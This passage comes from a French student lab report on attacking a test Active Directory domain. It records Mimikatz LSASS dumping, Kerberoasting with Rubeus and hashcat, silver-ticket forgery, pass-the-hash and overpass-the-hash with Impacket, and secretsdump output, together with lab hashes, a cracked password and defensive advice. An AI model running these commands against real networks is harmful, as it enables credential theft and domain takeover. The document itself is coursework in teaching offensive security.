    * Password : f7 12 7b bb b8 b9 53 35 d5 01 c1 88 54 c7 56 81 8c 14 ea d7 63 2b 7d 1b 9a ba 6a
97 ef 80 4f be 66 7d f4 6d ed 49 a9 2e 1a ea f7 84 a1 9a 0d 18 c3 18 99 84 b6 61 39 a9 49 5c 1c e8 de 62
f6 a9 83 a1 79 c0 75 88 70 cb 3e 41 a5 17 7b c7 4e 56 94 a9 3f 3d ce 59 38 36 99 2d 85 cd 26 29 a0 0c 81
dd c8 a1 27 0c ae 12 ab 6f ec 3a 07 23 19 c6 0e be 81 2e ad a7 77 01 12 f9 87 2d 75 89 4f 26 37 c1 4d c7
37 21 d6 82 34 7e 55 86 e3 80 db b1 35 87 d6 aa c8 3b b0 16 6a 4b 6f 64 fd f6 b7 bc 49 4d 3b da f5 b9 63
65 57 7e 27 36 94 58 cb 30 8e eb 83 ae 47 fa 8f 84 de fb fb c8 f5 cb 0f 6c e7 0c 0d f5 68 88 f5 3d ce 98
fd a8 cc c3 00 e5 d8 b3 bc 9f cb 3f d3 ad 0b 81 90 c8 68 0e 46 43 32 52 99 72 da a9 9e 4b 1c 02 bf 3a 3f
bb c8 7a
    ssp :
    credman :
    cloudap :

mimikatz(commandline) # exit
Bye!

```

6.1 P8: Où sont les credentials que Mimikatz récupère ? Comment ce dernier s'y prend-il pour les récupérer ?

Localisation des credentials :

Mimikatz récupère les credentials depuis la **mémoire du processus LSASS** (Local Security Authority Subsystem Service).

Méthode de récupération :

1. **Privilège requis** : SeDebugPrivilege (disponible uniquement avec SYSTEM)
2. **Processus ciblé** : LSASS (lsass.exe) qui gère l'authentification Windows
3. **Extraction** : Mimikatz lit directement la mémoire du processus avec `sekurlsa::logonpasswords`

Windows stocke dans LSASS les credentials en clair ou sous forme réversible pour permettre le SSO (Single Sign-On). Mimikatz exploite cette faiblesse de conception.

6.2 P9: Pourquoi a-t-on utilisé le remote shell plutôt que evil-winrm pour exécuter Mimikatz ?

Car tout simplement on a pas assez de droit avec notre user, avec le reverse shell on a des droits beaucoup plus élevés.

Evil-WinRM :

- Exécute avec les privilèges de `atruusionsos10` (utilisateur standard)
- Niveau "Medium Mandatory Level"
- **N'a PAS** SeDebugPrivilege
- **Erreur Mimikatz** : `ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)`

Reverse Shell (netcat) :

- Exécute avec les privilèges **NT AUTHORITYSYSTEM**
- "System Mandatory Level" (S-1-16-16384)
- **Possède** SeDebugPrivilege activé
- **Peut accéder** à la mémoire de LSASS

Le privilege SeDebugPrivilege est indispensable pour lire la mémoire du processus LSASS protégé.

6.3 P10: Quels sont les credentials d'utilisateurs privilégiés trouvés par Mimikatz ?

☉ Comment pourrait-on utiliser ces credentials dans le but d'obtenir une session privilégiée ?

Credentials privilégiés trouvés :

1. **Administrator@SECURE.com**

- NTLM: c64773ccfcae6baa4e53bb5d12d8dc11
- Administrateur du domaine

2. **local_admin@WIN10**

- NTLM: ca7a63575621fa4c7b2c9262fa07de9c
- Administrateur local de la workstation

3. **WIN10\$** (compte machine)

- NTLM: d544fc3492fc259a87f7f1f370916f18

Utilisation pour une session privilégiée :

Pass-the-Hash :

```
evil-winrm -i 10.190.134.13 -u Administrator -H c64773ccfcae6baa4e53bb5d12d8dc11
```

Overpass-the-Hash (Pass-the-Key) :

- Utiliser le hash NTLM pour demander un TGT Kerberos
- Obtenir un accès complet au domaine sans connaître le mot de passe en clair

Ces hashes permettent une authentification directe sans nécessiter le mot de passe en clair.

7 Kerberoast

L'attaque « kerberoast » consiste à récupérer un ticket TGS pour essayer de retrouver le mot de passe d'un service.

Uploader Rubeus.exe avec evil-winrm :

```
upload Rubeus.exe
```

Lancer l'attaque kerberoast :

```
Rubeus.exe kerberoast /domain:<domain> /creduser:<domain>\<username> /credpassword:<password> /  
format:hashcat >tgs.hashcat  
download tgs.hashcat
```

Craquer les TGS obtenus avec Hashcat :

```
hashcat --help | grep -i kerberos  
hashcat -m <kerberoast mode> tgs.hashcat <path to rockyou>
```

Après avoir extrait le hash (mis au propre) via Rubeus.exe on a le mot de passe : Friendship5

```
IICT-MV473-UbuntuServerSOS24% hashcat -m 13100 tgs_clean.hashcat ~/rockyou.txt --show  
$krb5tgs$23$*msql$SECURE.com$MSSQLSvc/  
DC01.SECURE.com:1433@SECURE.com*$f2369533c1684528840f5bb7813def5$74fcc122b3da63e91a  
...  
d6216c4008ad39e1b2696283e8cd1828dae6090d776ef770147b86c09162c9b4bd4680e:Friendship5  
IICT-MV473-UbuntuServerSOS24%
```

Test d'accès SQL à distance via Kerberos

```
*Evil-WinRM* PS C:\Users\atrusionsos10\Documents> $password = "SeDk2105Dp" | ConvertTo-SecureString -  
asPlainText -Force  
*Evil-WinRM* PS C:\Users\atrusionsos10\Documents> $username = "SECURE.com\atrusionsos10"  
*Evil-WinRM* PS C:\Users\atrusionsos10\Documents> $creds = New-Object  
System.Management.Automation.PSCredential($username,$password)  
*Evil-WinRM* PS C:\Users\atrusionsos10\Documents> Invoke-Command -ScriptBlock { sqlcmd.exe -S  
DC01.SECURE.com -Q "SELECT HOST_NAME() AS HostName, USER_NAME() LoggedInUser" } -ComputerName WIN10 -  
Authentication Kerberos -Credential $creds  
HostName  
LoggedInUser  
  
WIN10  
SECURE\atrusionsos10
```

(1 rows affected)


```
*Evil-WinRM* PS C:\Users\atrusionsos10\Documents> Invoke-Command -ScriptBlock { sqlcmd.exe -S
DC01.SECURE.com -Q "select * from information_schema.tables where table_type='base    table'" } -
ComputerName WIN10 -Authentication Kerberos -Credential $creds
TABLE_CATALOG
TABLE_SCHEMA
TABLE_NAME
TABLE_TYPE

(0 rows affected)
*Evil-WinRM* PS C:\Users\atrusionsos10\Documents> Invoke-Command -ScriptBlock { sqlcmd.exe -S
DC01.SECURE.com -Q "select * from Users" } -ComputerName WIN10 -Authentication Kerberos -Credential
$creds
Msg 229, Level 14, State 5, Server DC01, Line 1
The SELECT permission was denied on the object 'Users',
```

7.1 P11: Dans quelle session accessible depuis votre machine attaquante avez-vous réussi l'attaque Kerberoast ? Pourquoi cela a-t-il fonctionné ?

Session utilisée : Session **evil-winrm** avec l'utilisateur **atrusionsos10**

Pourquoi ça a fonctionné :

L'attaque Kerberoast a réussi car:

1. **Credentials valides :** Nous possédions des credentials du domaine (**atrusionsos10:SeDk2105Dp**)
2. **Accès LDAP :** Ces credentials permettent d'interroger l'annuaire LDAP du DC
3. **Service kerberoastable :** Le compte de service **msql** possède un SPN (Service Principal Name) : **MSSQLSvc/DC01.SECURE.com:1433**
4. **Chiffrement faible :** Le service utilise **RC4_HMAC_DEFAULT** (etype 23) au lieu d'AES

Rubeus a pu :

- Énumérer les comptes avec SPN via LDAP
- Demander un TGS pour le service MSSQL
- Le TGS est chiffré avec le hash du mot de passe du compte de service

7.2 P12: Pourquoi un TGS permet-il de retrouver un mot de passe ? Comment Hashcat s'y prend-il pour les cracker ?

Pourquoi un TGS révèle le mot de passe :

Le ticket TGS contient une partie chiffrée avec le **hash NTLM du mot de passe du compte de service**. Cette partie est déchiffrable si on connaît le mot de passe du service.

Méthode de Hashcat :

1. **Attaque par dictionnaire** : Hashcat lit chaque mot du dictionnaire (rockyou.txt)
2. **Calcul du hash** : Pour chaque mot, calcule le hash NTLM correspondant
3. **Tentative de déchiffrement** : Essaie de déchiffrer la partie du TGS avec ce hash
4. **Vérification** : Si le déchiffrement réussit et produit des données valides, le mot de passe est trouvé

Mode hashcat : 13100 (Kerberos 5, etype 23, TGS-REP)

Résultat obtenu :

- Compte : msq1 (Maria SQL)
- Service : MSSQLSvc/DC01.SECURE.com:1433
- Mot de passe cracké : Friendship5

7.3 P13: Comment faudrait-il configurer le service pour éviter une attaque Kerberoast ?

Mesures de protection contre Kerberoast :

1. **Mots de passe complexes et longs** :
 - Utiliser des mots de passe de 25+ caractères aléatoires
 - Rend le crackage quasi-impossible même avec GPU
2. **Utiliser AES au lieu de RC4** :
 - Activer AES256-SHA1 et AES128-SHA1
 - Désactiver RC4_HMAC qui est faible
3. **Group Managed Service Accounts (gMSA)** :
 - Mots de passe générés automatiquement (120 caractères)
 - Rotation automatique tous les 30 jours
4. **Détection et monitoring** :
 - Surveiller les requêtes TGS inhabituelles
 - Détecter les demandes massives de TGS
5. **Principe du moindre privilège** :
 - Limiter qui peut demander des TGS

8 Token de service

Tester les credentials du compte atrusionsosX pour l'invocation des services. Utiliser invoke-command avec evil-winrm pour invoquer le service sur la workstation.

```
$password = "<password>" | ConvertTo-SecureString -asPlainText -Force
$username = "<domain>\<username>"
$creds = New-Object System.Management.Automation.PSCredential($username,$password)
Invoke-Command -ScriptBlock { <command to call service> } -ComputerName "<computerName>" -
Authentication Kerberos -Credential $creds
```

Pour le service MSSQL, utiliser sqlcmd.exe :

```
sqlcmd.exe -S <server FQDN> -Q "SELECT HOST_NAME() AS HostName, SUSER_NAME() LoggedInUser"
sqlcmd.exe -S <server FQDN> -Q "select * from information_schema.tables where table_type='base
table'"
sqlcmd.exe -S <server FQDN> -Q "select * from Users"
```

Test d'accès SQL Kerberos à distance avec les permissions de l'utilisateur atrusionsos10 :

```
*Evil-WinRM* PS> $password = "SeDk2105Dp" | ConvertTo-SecureString -asPlainText -Force
*Evil-WinRM* PS> $username = "SECURE.com\atrusionsos10"
*Evil-WinRM* PS> $creds = New-Object System.Management.Automation.PSCredential($username,$password)
```

```
*Evil-WinRM* PS> Invoke-Command -ScriptBlock { sqlcmd.exe -S DC01.SECURE.com -Q "SELECT HOST_NAME() AS
HostName, SUSER_NAME() LoggedInUser" } -ComputerName WIN10 -Authentication Kerberos -Credential $creds
```

HostName	LoggedInUser
WIN10	SECURE\atrusionsos10

(1 rows affected)

```
*Evil-WinRM* PS> Invoke-Command -ScriptBlock { sqlcmd.exe -S DC01.SECURE.com -Q "select * from
information_schema.tables where table_type='base table'" } -ComputerName WIN10 -Authentication Kerberos
-Credential $creds
```

TABLE_CATALOG	TABLE_SCHEMA	TABLE_NAME	TABLE_TYPE
---------------	--------------	------------	------------

(0 rows affected)

```
*Evil-WinRM* PS> Invoke-Command -ScriptBlock { sqlcmd.exe -S DC01.SECURE.com -Q "select * from Users" }
-ComputerName WIN10 -Authentication Kerberos -Credential $creds
```

Msg 229, Level 14, State 5, Server DC01, Line 1

The SELECT permission was denied on the object 'Users', database 'master', schema 'dbo'.

8.1 P14: Quelle identité (utilisateur) est utilisée par le service MSSQL ? ☹

Identité utilisée : SECURE\atrusionsos10

HostName	LoggedInUser
WIN10	SECURE\atrusionsos10

Le service MSSQL **impersonne** l'identité de l'utilisateur qui se connecte. Lorsqu'on se connecte avec les credentials de atrusionsos10 via Kerberos, le service s'exécute avec cette identité, pas avec l'identité du compte de service msql.

8.2 P15: Quel type de jeton (access token) le service MSSQL utilise-t-il ? Justifiez votre réponse.

C'est un **Impersonation Token** (jeton d'emprunt d'identité)

Car:

1. **Le service impersonne l'utilisateur :** Le résultat de `SUSER_NAME()` montre SECURE\atrusionsos10, pas SECURE\msql (le compte de service)
2. **Mécanisme Kerberos :** Quand un client se connecte avec un TGS Kerberos, le service peut créer un **impersonation token** pour exécuter des opérations avec les privilèges du client
3. **Différence avec Primary Token :**
 - **Primary Token :** Identité permanente du processus (le compte de service msql)
 - **Impersonation Token :** Identité temporaire empruntée pour la session (l'utilisateur atrusionsos10)
4. **Conséquence :** Les requêtes SQL sont exécutées avec les permissions de atrusionsos10, pas avec celles du service

8.3 P16: Avez-vous pu visualiser les utilisateurs du service MSSQL ? Quelle réponse avez-vous obtenu du service, pourquoi ? ☹

Non, accès refusé

Output :

```
Msg 229, Level 14, State 5, Server DC01, Line 1
The SELECT permission was denied on the object 'Users'
```

1. **Permissions insuffisantes** : atrusionsos10 est un utilisateur de domaine **standard** sans privilèges administratifs
 2. **Pas de permissions SQL** : Le compte n'a pas été configuré avec des permissions SELECT sur la table Users dans la base de données MSSQL
 3. **Impersonation limitée** : Le service utilise un impersonation token avec les droits limités de atrusionsos10, donc hérite de ses restrictions
 4. **Sécurité par défaut** : SQL Server refuse l'accès aux tables sensibles aux utilisateurs non privilégiés
- Aucune table visible avec information_schema.tables (0 rows) confirme les permissions très restreintes.

9 Silver ticket

Réalisation :

Effectuer une attaque « silver ticket » pour obtenir un TGS privilégié en appliquant les informations récupérées avec Mimikatz et Kerberoast.

Avec evil-winrm et invoke-command, invoquer Rubeus.exe pour demander un TGS privilégié :

```
Rubeus.exe silver /service:<service FQDN> /rc4:<service key> /sid:<domain SID> /user:Administrator /
domain:<domain> /ptt
klist.exe
```

Compléter les commandes pour appeler le service MSSQL avec le TGS privilégié. Soumettre les 3 mêmes requêtes SQL qu'au point 3.7.

Indice : l'option /ptt de Rubeus.exe met le ticket généré dans la session Windows mais celle-ci se termine avec la commande Invoke-Command. Il est possible d'utiliser plusieurs commandes à la fois dans un appel à Invoke-Command.

Forge d'un ticket Silver Ticket pour MSSQL

```
*Evil-WinRM* PS C:\Users\atrusionsos10\Documents> .\Rubeus.exe silver /service:MSSQLSvc/
DC01.SECURE.com:1433
/rc4:2f0f5ec7026e34c6e6d0cc2b6b2cb0e1 /sid:S-1-5-21-4201873219-205740982-4205070342 /
user:Administrator /domain:SECURE.com /ptt
```

```
( _ _ \      | |
  _ _ ) _ _ | | _ _ _ _ _
| _ _ /| | | | _ \ | | | | / _ _ )
| | \ \ | | | | _ ) ) _ _ | | | |
| _ | | _ _ /| _ _ /| _ _ ) _ _ / ( _ _ /
```

v2.1.2

[*] Action: Build TGS

[*] Building PAC

```
[*] Domain      : SECURE.COM (SECURE)
[*] SID        : S-1-5-21-4201873219-205740982-4205070342
[*] UserId     : 500
[*] Groups     : 520,512,513,519,518
[*] ServiceKey : 2F0F5EC7026E34C6E6D0CC2B6B2CB0E1
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
```

```
[*] KDCKey      : 2F0F5EC7026E34C6E6D0CC2B6B2CB0E1
[*] KDCKeyType  : KERB_CHECKSUM_HMAC_MD5
[*] Service     : MSSQLSvc
[*] Target      : DC01.SECURE.com:1433

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGS for 'Administrator' to 'MSSQLSvc/DC01.SECURE.com:1433'

[*] AuthTime    : 20/11/2025 16:07:27
[*] StartTime   : 20/11/2025 16:07:27
[*] EndTime     : 21/11/2025 02:07:27
[*] RenewTill   : 27/11/2025 16:07:27

[*] base64(ticket.kirbi):
```

```
doIFVzCCBV0gAwIBBaEDAgEWooIETjCCBEphggRGMIIIEQqADAgEFoQwbC1NFQ1VSRS5DT02iKzApoAMC
AQKhIjAgGwhNU1NRTFN2YxsUREMwMS5TRUNVUkUuY29tOjE0Mz0jggP+MIID+qADAgEXoQMCAQOiggPs
BIID6N3xB2F1WPY3VkMHMzuTAjntZuIaoqvYAicZ/VwRGQSGM3Qj02bZ0mYEOYNX1rdV9V37yQd3FFKP
...
GjAYoAMCAQGHETAPGw1BZG1pbm1zdHJhdG9yowcDBQBAoAAApBEYDzIwMjUxMTIwMTUwNzI3WqURGA8y
MDI1MTEyMDEMDcyN1qmERgPMjAyNTEyMjUxMTIwMTUwNzI3WqMGwpTRUNV
UkUuQ09NqSswKaADAgECoSIwIBsITVNTUUXTdmMbFERDMDEuU0VDVVJFLmNvbToxNDMz
```

```
[+] Ticket successfully imported!
*Evil-WinRM* PS C:\Users\atrusionsos10\Documents> klist
```

```
Current LogonId is 0:0xcf8c7460
```

```
Cached Tickets: (1)
```

```
#0> Client: Administrator @ SECURE.COM
Server: MSSQLSvc/DC01.SECURE.com:1433 @ SECURE.COM
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
Start Time: 11/20/2025 16:07:27 (local)
End Time: 11/21/2025 2:07:27 (local)
Renew Time: 11/27/2025 16:07:27 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0
Kdc Called:
*Evil-WinRM* PS C:\Users\atrusionsos10\Documents>
```

Le Silver ticket est créé avec succès

9.1 P17: Comment avez-vous déterminé le SID du domaine nécessaire pour Rubeus.exe ? ☹

Avec whoami /user pour obtenir le SID de l'utilisateur courant

```
*Evil-WinRM* PS> whoami /user
```

USER INFORMATION

User Name	SID
secure\atrusionsos10	S-1-5-21-4201873219-205740982-4205070342-1169

Extraction du SID du domaine:

Le SID utilisateur complet: S-1-5-21-4201873219-205740982-4205070342-1169

Le **SID du domaine** s'obtient en retirant le **RID** (dernier nombre après le dernier tiret):

SID domaine: S-1-5-21-4201873219-205740982-4205070342

Ducoup on a :

- S-1-5-21 = Préfixe standard pour les domaines Windows
- 4201873219-205740982-4205070342 = Identifiant unique du domaine SECURE.com
- 1169 = RID (Relative ID) de l'utilisateur atrusionsos10

9.2 P18: Quelle identité (utilisateur) est utilisée par le service MSSQL ? ☹

Identité utilisée: Administrator @ SECURE.COM

```
*Evil-WinRM* PS> klist
```

Current LogonId is 0:0xcf8c7460

Cached Tickets: (1)

```
#0> Client: Administrator @ SECURE.COM
Server: MSSQLSvc/DC01.SECURE.com:1433 @ SECURE.COM
Kerberos Ticket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40a00000 → forwardable renewable pre_authent
Start Time: 11/20/2025 16:07:27 (local)
End Time: 11/21/2025 2:07:27 (local)
Renew Time: 11/27/2025 16:07:27 (local)
```

Le Silver ticket forgé permet de s'authentifier auprès du service MSSQL **en tant qu'Administrator** au lieu de l'utilisateur standard atrusionsos10.

9.3 P19: Comment expliquez-vous que vous avez pu obtenir un accès avec cette identité alors que votre TGS est associé au compte de service ?

Le service croit que nous sommes Administrator alors que nous avons forgé le ticket nous-mêmes!

```
[*] Forged a TGS for 'Administrator' to 'MSSQLSvc/DC01.SECURE.com:1433'
```

```
[*] UserId      : 500
```

```
[*] Groups      : 520,512,513,519,518
```

1. **Ticket forgé, pas légitime:** Nous n'avons PAS obtenu ce TGS du KDC (DC), nous l'avons **forgé localement** avec Rubeus
2. **Connaissance de la clé du service:** Nous possédons le hash NTLM du compte de service msq1 (obtenu via Kerberoast: Friendship5)
3. **Signature du ticket:** Avec cette clé, nous pouvons:
 - Créer un PAC (Privilege Attribute Certificate) contenant les groupes d'Administrator (500, 512, 513, 518, 519, 520)
 - **Signer** le TGS avec la clé du service
 - Le service MSSQL valide la signature avec SA propre clé et accepte le ticket
4. **Pas de vérification KDC:** Le service ne contacte PAS le KDC pour vérifier le ticket - il fait confiance à la signature

9.4 P20: Avez-vous pu visualiser les utilisateurs du service MSSQL ? Quelle réponse avez-vous obtenu du service ? ☹

Non, Limitation technique d'environnement

Output :

```
*Evil-WinRM* PS> sqlcmd.exe -S DC01.SECURE.com -E -Q "select * from Users"
SQLCMD.EXE : Sqlcmd: Error: Microsoft ODBC Driver 17 for SQL Server :
Login failed for user 'NT AUTHORITY\ANONYMOUS LOGON'..
```

Le ticket est bien importé dans la session (confirmé par klist)

- Client: Administrator @ SECURE.COM
- Service: MSSQLSvc/DC01.SECURE.com:1433

Mais sqlcmd via evil-winrm ne peut pas utiliser le ticket Kerberos injecté ducoup on - Retombe sur authentification anonyme qui échoue. On a donc une limitation de l'environnement evil-winrm/ODBC, pas de l'attaque elle-même.

Avec un accès direct (RDP, session locale), le Silver ticket permettrait un accès complet à la base avec les privilèges Administrator.

9.5 P21: Quelle information obtenue avec Kerberoast au point 3.6 avez-vous réutilisée ? ☉

J'ai réutilisé le mot de passe du compte de service msql

Obtenu avec Kerberoast (P12):

Compte : msql (Maria SQL)
Service : MSSQLSvc/DC01.SECURE.com:1433
Mot de passe cracké : Friendship5

Conversion pour Silver ticket:

Hash NTLM de "Friendship5" : 2f0f5ec7026e34c6e6d0cc2b6b2cb0e1

Utilisation dans Rubeus:

```
.\Rubeus.exe silver /service:MSSQLSvc/DC01.SECURE.com:1433  
/rc4:2f0f5ec7026e34c6e6d0cc2b6b2cb0e1  
...
```

Confirmation dans l'output:

```
[*] ServiceKey      : 2F0F5EC7026E34C6E6D0CC2B6B2CB0E1  
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
```

9.6 P22: Comment cette information obtenue avec Kereberoast est-elle utilisée par Rubeus.exe ?

Simplement grâce à l'utilisation du hash NTLM par Rubeus pour forger le Silver ticket

1. Signature du PAC (Privilege Attribute Certificate):

- Rubeus crée un PAC contenant l'identité Administrator (UserID 500)
- Ajoute les groupes privilégiés (512=Domain Admins, 520=Group Policy Creator, etc.)
- **Signe le PAC** avec le hash NTLM du service (2F0F5EC7...)

2. Chiffrement du ticket:

- Chiffre EncTicketPart avec la clé du service (hash NTLM)
- Utilise KERB_CHECKSUM_HMAC_MD5 (RC4-HMAC)

3. Génération du TGS complet:

- Assemble le ticket avec toutes les parties signées/chiffrées
- Le service pourra déchiffrer avec SA clé (le même hash NTLM)

Processus de validation par le service:

1. Service MSSQL reçoit le ticket
2. Déchiffre avec sa clé (hash NTLM de "Friendship5")
3. Vérifie la signature du PAC
4. Signature valide → Accepte l'identité Administrator

Le service ne sait **PAS** que le ticket est forgé car la signature est mathématiquement correcte.

10 Pass et overpass-the-hash

Réalisation :

Utiliser les hashes récupérés pour se connecter sans cracker le mot de passe. Utiliser smbclient.py de la suite Impacket.

Connexion aux shares SMB via NTLM :

```
smbclient.py <domain>/<username>@<target ip> -hashes <LM hash>:<NTLM hash>
shares
```

Connexion aux shares SMB via Kerberos :

```
smbclient.py <domain>/<username>@<DC FQDN> -dc-ip <DC ip> -hashes <LM hash>:NTLM hash>
shares
```

Pass-the-hash (NTLM), connexion à la workstation

```
IICT-MV473-UbuntuServerSOS24% smbclient.py SECURE/Administrator@10.190.134.12 -
hashes :c64773ccfcae6baa4e53bb5d12d8dc11
```

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands

shares

ADMIN\$

C\$

IPC\$

#

Pass-the-hash (NTLM), connexion au DC

```
IICT-MV473-UbuntuServerSOS24% smbclient.py SECURE/Administrator@10.190.134.13 -
hashes :c64773ccfcae6baa4e53bb5d12d8dc11
```

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands

shares

ADMIN\$

C\$

IPC\$

NETLOGON

SYSVOL

#

Overpass-the-hash (Kerberos), connexion au DC

```
IICT-MV473-UbuntuServerSOS24% smbclient.py SECURE/Administrator@DC01.SECURE.com -dc-ip 10.190.134.13  
-hashes :c64773ccfcae6baa4e53bb5d12d8dc11
```

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands

shares

ADMIN\$

C\$

IPC\$

NETLOGON

SYSVOL

#

10.1 P23: Avec quel utilisateur vous êtes-vous connectés ? ●

Utilisateur: Administrator du domaine SECURE

Hash utilisé: NTLM = c64773ccfcae6baa4e53bb5d12d8dc11

Nous nous sommes connectés avec le compte Administrator en utilisant uniquement son hash NTLM, sans connaître le mot de passe en clair. Ce hash a été récupéré précédemment avec Mimikatz (P10).

10.2 P24: Quels shares sont accessibles sur chacune des machines connectées ? ●

Workstation WIN10 (10.190.134.12):

- ADMIN\$
- C\$
- IPC\$

Domain Controller DC01 (10.190.134.13):

- ADMIN\$
- C\$
- IPC\$
- NETLOGON
- SYSVOL

Différence: Le DC possède deux partages supplémentaires (NETLOGON et SYSVOL) qui sont spécifiques aux contrôleurs de domaine Active Directory.

10.3 P25: Quelle est la fonction de chacun des shares (toutes machines confondues) ?

Shares standards Windows:

1. ADMIN\$
 - Partage administratif du dossier Windows (C:Windows)
 - Accès réservé aux administrateurs
 - Utilisé pour l'administration à distance
2. C\$
 - Partage administratif de la racine du disque C:
 - Accès complet au système de fichiers
 - Réservé aux administrateurs
3. IPC\$
 - Inter-Process Communication
 - Utilisé pour la communication entre processus
 - Nécessaire pour l'énumération et les connexions à distance

Shares spécifiques au Domain Controller:

4. NETLOGON
 - Scripts de connexion (logon scripts)
 - Stocke les scripts d'ouverture de session des utilisateurs du domaine
 - Répliqué entre tous les DCs
5. SYSVOL
 - Politiques et scripts du domaine
 - Contient les Group Policy Objects (GPO)
 - Répliqué entre tous les DCs via DFS-R
 - Essentiel pour le fonctionnement du domaine

10.4 P26: Quelle différence y a-t-il entre les 2 invocations de smbclient.py via NTLM et via Kerberos ?

Différences dans les commandes:

Via NTLM (Pass-the-hash):

```
smbclient.py SECURE/Administrator@10.190.134.13 -hashes :c64773ccfcae6baa4e53bb5d12d8dc11
```

- Utilise l'adresse IP de la cible
- Pas besoin de spécifier -dc-ip
- Authentification directe avec le hash

Via Kerberos (Overpass-the-hash):

```
smbclient.py SECURE/Administrator@DC01.SECURE.com -dc-ip 10.190.134.13 -hashes :c64773ccfcae6baa4e53bb5d12d8dc11
```

- Utilise le FQDN (DC01.SECURE.com) au lieu de l'IP
- Requiert le paramètre -dc-ip pour localiser le KDC
- Le hash est utilisé pour obtenir un TGT Kerberos

Différences fonctionnelles:

Aspect	NTLM	Kerberos
Protocole	Challenge-Response	Ticket-based
Serveur d'auth	Machine cible directement	KDC (Domain Controller)
Identification	IP acceptable	FQDN obligatoire
Tickets	Aucun	TGT puis TGS

10.5 P27: Quelle invocation effectue une attaque pass-the-hash et laquelle effectue une attaque overpass-the-hash ?

Pass-the-hash: Commandes utilisant NTLM

```
smbclient.py SECURE/Administrator@10.190.134.12 -hashes :c64773ccfcae6baa4e53bb5d12d8dc11
smbclient.py SECURE/Administrator@10.190.134.13 -hashes :c64773ccfcae6baa4e53bb5d12d8dc11
```

- Authentification NTLM directe avec le hash
- Pas d'interaction avec le KDC
- Le hash est utilisé tel quel dans le challenge-response

Overpass-the-hash (Pass-the-Key): Commande utilisant Kerberos

```
smbclient.py SECURE/Administrator@DC01.SECURE.com -dc-ip 10.190.134.13 -hashes :c64773ccfcae6baa4e53bb5d12d8dc11
```

- Le hash NTLM est utilisé comme clé de chiffrement pour demander un TGT
- Contacte le KDC pour obtenir un ticket Kerberos légitime
- Ensuite utilise le TGT pour obtenir un TGS et accéder au service

10.6 P28: Expliquez l'utilisation du hash, différente dans les 2 invocations, qui justifie les différences dans les 2 commandes.

Utilisation du hash NTLM dans les deux attaques:

Pass-the-hash (NTLM):

1. Client reçoit un challenge du serveur
2. Hash NTLM utilisé directement pour chiffrer le challenge
3. Réponse envoyée au serveur
4. Serveur vérifie avec son hash stocké

Client → Hash NTLM + Challenge → Response → Serveur

Pas besoin de KDC, authentification directe machine-à-machine.

Overpass-the-hash (Kerberos):

1. Hash NTLM = Clé de chiffrement Kerberos
2. Client utilise le hash pour chiffrer une demande AS-REQ
3. Envoie au KDC pour obtenir un TGT
4. KDC déchiffre avec le hash qu'il possède
5. Retourne un TGT si le hash est valide
6. Client utilise le TGT pour obtenir des TGS

Client → Hash comme clé → AS-REQ → KDC → TGT → Client → TGS → Service

Différence clé:

- Pass-the-hash: Hash utilisé comme authentifiant direct (NTLM challenge-response)
- Overpass-the-hash: Hash utilisé comme clé cryptographique pour obtenir des tickets Kerberos légitimes

Pourquoi FQDN nécessaire pour Kerberos: Les tickets Kerberos sont liés aux Service Principal Names (SPN) qui utilisent des FQDN, pas des IPs. Le client doit connaître le nom du service pour demander le bon ticket.

11 Dump DC

Réalisation :

Exploiter les accès du nouvel utilisateur avec son hash pour récupérer (« dumper ») les hashes du domaine avec secretsdump.py.

Dumper les hashes du serveur :

```
secretsdump.py <domain>/<username>@<target-ip> -hashes <LM hash:NTLM hash>
```

Output de la commande secretsdump.py SECURE/Administrator@10.190.134.13 - hashes :c64773ccfcae6baa4e53bb5d12d8dc11 :

```
IICT-MV473-UbuntuServerSOS24% secretsdump.py SECURE/Administrator@10.190.134.13 - hashes :c64773ccfcae6baa4e53bb5d12d8dc11
```

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

```
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x263ed6a54dc5fac5b3dd41c9ad387f76
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c64773ccfcae6baa4e53bb5d12d8dc11:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
SECURE\DC01$:aes256-cts-hmac-sha1-96:fb07c1f2ffe90aa8a942365092a6d2188e6b79f9e3f7a32e7d8150972e1e562b
SECURE\DC01$:aes128-cts-hmac-sha1-96:99f2b7478d343b812492a9b486015349
SECURE\DC01$:des-cbc-md5:9b3b3b23c4aea4ad
SECURE\DC01$:plain_password_hex:ff6a1e49e9fe3b287325a5aa63b86784ac8a6d65967cfd0bf797af9449b073170a8ce17ed0ed6d701978fdb
SECURE\DC01$:aad3b435b51404eeaad3b435b51404ee:8a83bbd521e1e92758f50dde8ba46963:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x1db810995360b819998ebd3d17a90ccb83f58ece
dpapi_userkey:0x3682c86bf35186f1ec545fa77b4fb82faf57056d
[*] NL$KM
0000  5E 87 13 00 34 EF BC 06 02 31 DC A6 06 A2 AB 40  ^...4....1.....@
0010  BE E4 27 31 4E 28 62 A6 43 90 F4 94 5C 9B CE 2C  ..'1N(b.C...\.,
0020  5F 7A E6 10 E1 FF D0 AC E1 6A 85 71 2A 44 48 C2  _z.....j.q*DH.
0030  67 7D E6 73 61 13 93 87 2F 97 D7 1A 69 79 B7 BD  g}.sa.../...iy..
